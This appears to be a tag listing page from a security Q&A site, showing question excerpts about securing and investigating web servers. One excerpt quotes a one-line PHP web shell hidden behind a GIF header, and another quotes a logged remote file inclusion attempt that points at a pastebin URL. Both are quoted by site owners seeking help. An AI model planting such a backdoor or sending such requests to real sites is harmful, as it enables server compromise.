A system whose primary function is to deliver web pages on request to clients.

learn more… | top users | synonyms

3
votes
1answer
475 views

Root server hacked via httpd - consequences and future prevention

Since before mid 2014, my root server was targeted by hackers and recently they gained limited access. I disabled all services once I realized the server has been compromised and started ...
3
votes
2answers
600 views

If I set up a home web server, will computers that use my wi-fi be vulnerable?

I'm interested in setting up a web server on an old laptop L1. My plan is to connect that laptop to an Ethernet port on my router. I also have another laptop L2 accessing the router via wi-fi. L2 ...
3
votes
1answer
1k views

How to run a tor hidden service from home securely?

Another theoretical question about Tor: Imagine I am running a dissident web site as a hidden service. How can I reduce the chances that I get caught? Assume I am running the server from home, over a ...
3
votes
1answer
602 views

Mitigation Strategies for Response Spliting Attack

I am not going into basics of HTTP response splitting attack as above figure completing describes the working of such a attack. Previous Post have also discussed working of such a attack ASP.NET ...
3
votes
1answer
3k views

cookie issue with same domain same path but different port

I have two web app running on same host on same path but on different port http://somedomain.com/ and https://somedomain.com/ now when I visit first app it serves the cookie say with name abc, and ...
3
votes
1answer
22 views

Automatic client executable updating

Scenario I am currently developing an application which should automatically update (if applicable) every time it is executed. The update would involve replacing the main.exe and any assets in an ...
3
votes
2answers
296 views

PDF files on webserver file system

We create PDF files as relevant to a customer's e-mail communication. These PDF's contain some personal information, specific to the client. The client is emailed a link to the PDF. The link to the ...
3
votes
2answers
147 views

How could this file have been modified?

I was recently asked to help make a few modifications to an old ASP Classic website. At one point I was looking at the page source while debugging some JavaScript and noticed a div full of links to a ...
3
votes
3answers
223 views

Monitoring for security threats

I host and maintain several websites. The users pay to have their sites maintained and secured. However, with the amount of web applications like joolma, wordpress, ect... and their plugins, I need a ...
3
votes
2answers
2k views

How to counter or fix banner grabbing vulnerability

During an audit i came across banner grabbing findings,and would like to know how to mitigate that on IIS and apache server.
3
votes
1answer
88 views

Is this an attempted cross-site attack?

I have found various 404 errors in my web server log that look like this: http://mywebsite.com/go.php?http://pastebin.com/raw.php?i=ffdkafkjasd ...
3
votes
1answer
98 views

Possible issues when one or more cookie not HttpOnly

I have a question related to HttpOnly cookie. Tracking other threads wasn't of much help, hence I am posting my query here to learn if you can foresee any issues with my understanding. There is a ...
3
votes
1answer
100 views

Where to start , secure an AWS Ubuntu 14.04 [closed]

Ok so this is probably a basic question but I would like to expand my knowledge. I have created an AWS Ubuntu EC2 server. I am running software on the server that provides 2 services , firstly a ...
3
votes
1answer
154 views

Is it possible to restrict a client-side certificate (for web auth) valid only for a given site name?

If I have 2 websites, a.example.com and b.example.com. Those sites use TLS and SNI, and require client authentication with certificates created with my own CA. The use case is that some clients have ...
3
votes
1answer
92 views

Redeploying multiple Secure sites on a single server

This may not be a great site for this question. I basically have approximately 10 VPS instances running a secured website each, each with their own SSH connection to a hosted Database. What I'm ...
3
votes
1answer
128 views

How long do HTML password fields (sent to the server as postdata) remain in memory?

In any major server-side web framework, there is usually a mechanism to read HTML form input, e.g. in ASP, for an HTML element, <input type="text" name="the_field" />, it is ...
3
votes
1answer
13k views

Explanation of open ports

I've run metasploit against my web-server and it found several opened ports that I didn't know. Please note that I have a firewall and IPSec configured but they were disabled just for testing ...
3
votes
1answer
2k views

Expose web service in a secure manner

Requirement I have a web service I need to expose on the DMZ for external communication. The web service communicates directly with a critical database that sits on an internal net. Current ...
3
votes
1answer
403 views

Has a HTTP server access to SSL session ID?

I want to know if a HTTP server (Apache, nginx etc.) can access a SSL/TLS session ID. Assume we have some hardware which does only SSL/TLS and behind a webserver which sends and receives the requests. ...
3
votes
2answers
1k views

Hide web.xml file from public view

I have found a vulnerability in a sun java application where the web.xml file is publicly viewable as the application is not using any .htaccess nor web.config. I don't how to restrict. I tried with ...
3
votes
2answers
408 views

Securing a script to prevent database from being exposed

We have an Ioncube encoded script running on an Apache web server which stores customer confidential information in a MySQL database. We have configured the script to run under its own account using ...
3
votes
1answer
147 views

CVE-2015-4852: Infected traffic pattern

Assuming that my Weblogic server is compromised by this vulnerability, what would the traffic pattern look like? I'm assuming I would see HTTP requests attempting to make connections directly from ...
3
votes
1answer
474 views

What are some steps to take for securing a Linux server that aren't in this list of obvious ones?

Obvious things: Disable root login (rather, don't enable it) Secure SSH (no root login, key auth only, timeout after inactivity, whitelist users who can SSH in, etc.) IP Tables firewall whitelisting ...
3
votes
0answers
79 views

Is there any way a website can show it hasn't been “hijacked” by the authorities? [closed]

I heard about warrant canaries and thought the idea was interesting. My understanding of what they are is a website or online service publishes a statement periodically that they have not been served ...
3
votes
0answers
1k views

Apache vs Jetty with regard to Security

I am trying to design the architecture of an app that will run on an AWS Linux AMI, inside of a Docker container. The app will deal with sensitive financial data, so security is top priority. The app ...
2
votes
5answers
2k views

htaccess hacked

I have a dedicated server. A few minutes ago I realized that someone has changed the .htaccess file. How can I protect against that kind of attack? Update: I have no code/site live, only a coming ...
2
votes
2answers
1k views

What is the ultimate goal of hacking a webserver? [closed]

Recently I noticed a lot of traffic generated by automated bots that were checking for vulnerabilities in my web server. They were mainly looking for ways to hack into plesk/wordpress which I don't ...
2
votes
3answers
288 views

Is there a way to steal PHP or ASP code from a web server through the HTTP(S) protocols?

I am working on a web application that would include some custom development and got a bit concerned about code theft. So the question I wanted to ask is whether it is - generally speaking - possible ...
2
votes
2answers
3k views

How to Check if my mail is classified as Spam

I think several of mails are classified as spam.But Gmail and other Public Email providers has no issues. It might be a false positive cases with the associated tools Is there a tool or a way by ...
2
votes
3answers
898 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
3answers
180 views

Website Authenticity/Verification without SSL

Are there any other ways of verifying the web server you're visiting is actually the correct one? For example, if a domain name's DNS was hypothetically hijacked, and users were directed to a phishing ...
2
votes
2answers
4k views

How to check if a website is sending out a virus?

I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website. 3 out of 6 people in the office have gotten ...
2
votes
1answer
1k views

folder and file permission shared host advice

I have a website with a webhost company. I wrote a little php/mysql application - no file uploads, just administering data from the DB and creating pdf with TCPDF. There are folders like css and js ...
2
votes
2answers
278 views

ip-fragmentation and mod_security?

is it possible to use ip-fragmenation (for example with fragroute) to evade mod_security? the idea would be to split a sql-injection- or xss-string into little pieces so it s not recognised.
2
votes
2answers
553 views

AD User vs SQL User for SQL Server Authentication

My company has multiple web applications that we deploy to customer sites. Often the customer has the final say in deployment options in which often it shocks me. Many of these customers are ...
2
votes
3answers
232 views

Would people object my website just because I use Google Analytics, +1, or FB Connect?

Are there people who will refuse to use a website just because that site sends browser information to Google Analytics? Could the +1 button be a red flag? Should I expect that there would be ...
2
votes
2answers
979 views

Killing IP connections who “spam” with requests

How can I go about killing IP connections that seem to be sending a lot of requests to the same url? Let's say I have someone who requests the same url for more than 10 times in 5 seconds, I want to ...
2
votes
2answers
1k views

Some questions about penetration testing distribution Backtrack 5

I know just the basics of backtrack and I want to ask some questions about it: Can you attack an ftp server using backtrack? an email server? I have a Centos virtual private server and backtrack is ...
2
votes
1answer
63 views

What are the main advantages of using LibreSSL in favor of OpenSSL

What are the main advantages of using LibreSSL vs OpenSSL? As I understood LibreSSL is a fork of OpenSSL: LibreSSL is a version of the TLS/crypto stack forked from OpenSSL in 2014, with goals of ...
2
votes
1answer
3k views

This site uses a weak security configuration - SHA-1 signatures [duplicate]

One of our users just sent us a screenshot of them browsing our site using Chrome for OS X, version 44.0.2403.130. This came as a surprise because I thought that our certificates were up to date (via ...
2
votes
1answer
459 views

Are there any security implications in creating an SSH key for the root user?

I've written an install script on a server to quickly set up new sites in the /srv directory. It needs to do a git clone, and has to be run via sudo in order to have the permissions to do all the ...
2
votes
1answer
1k views

Worrying httpd access logs [duplicate]

so after setting up a new server with just ssh (public key only) and a webserver which just serves one index.html I left for the weekend. Logging in on Monday I see this type of thing in my httpd ...
2
votes
2answers
6k views

Checking if TLS 1.1 and 1.2 implementation in a webserver is upto standards

I am testing a webserver[proprietary] which offers SSL support and they say it supports TLS 1.1 and 1.2 which i have verified by firing requests from IE with only the target protocol enabled . ...
2
votes
2answers
4k views

How secure is using a blank index.html / index.php? [duplicate]

When you put a blank index.html into a given directory on a web server, web browsers will not display a file listing for that directory. But is it secure enough for other purposes other than ...
2
votes
2answers
456 views

How to protect source code that resides on virtualbox web server which starts at boot?

I installed CentOS 6 on a 3gb virtualbox disk. It hosts a web server which starts automatically when the OS boots. No user login required. When it boots, it is given an IP and the host machine can ...
2
votes
3answers
4k views

Is it possible to list folder from my web server if i have an empty index.html in the root folder?

I have a small mongoose web server installed on my machine. I have a empty index.html in the root directory. I want to be able to share link with people i know, by creating a folder that look like ...
2
votes
2answers
678 views

How can I trace Hacking attempt

First of all I dont want to track the hacker. I want to track if the system is being compromised some way. For example when a website is under attack it'll receive malicious data. I want to check ...
2
votes
4answers
517 views

Should i use SSL for local access?

I have a web service which can be accessed only from websites hosted on the same server (i use 127.0.0.1 ip). Should i use SSL for the communications between the sites and the service, or would that ...
2
votes
2answers
46 views

How to Ensure Post Data in Services is Safe from User Tampering In WebGL Games?

We are currently making WebGL games for an online portal that then rewards users points they get from In Game Score. The Score is sent to the WebServer in the form of POST service, Recently we have ...
2
votes
2answers
211 views

Why are web servers ubiquitously configured by blacklisting inaccessible files instead of whitelisting the accessible ones?

Take a random PHP site. It is essentially guaranteed that its web server is configured as follows: serve any file from the document root, except for certain files or paths that are blacklisted. ...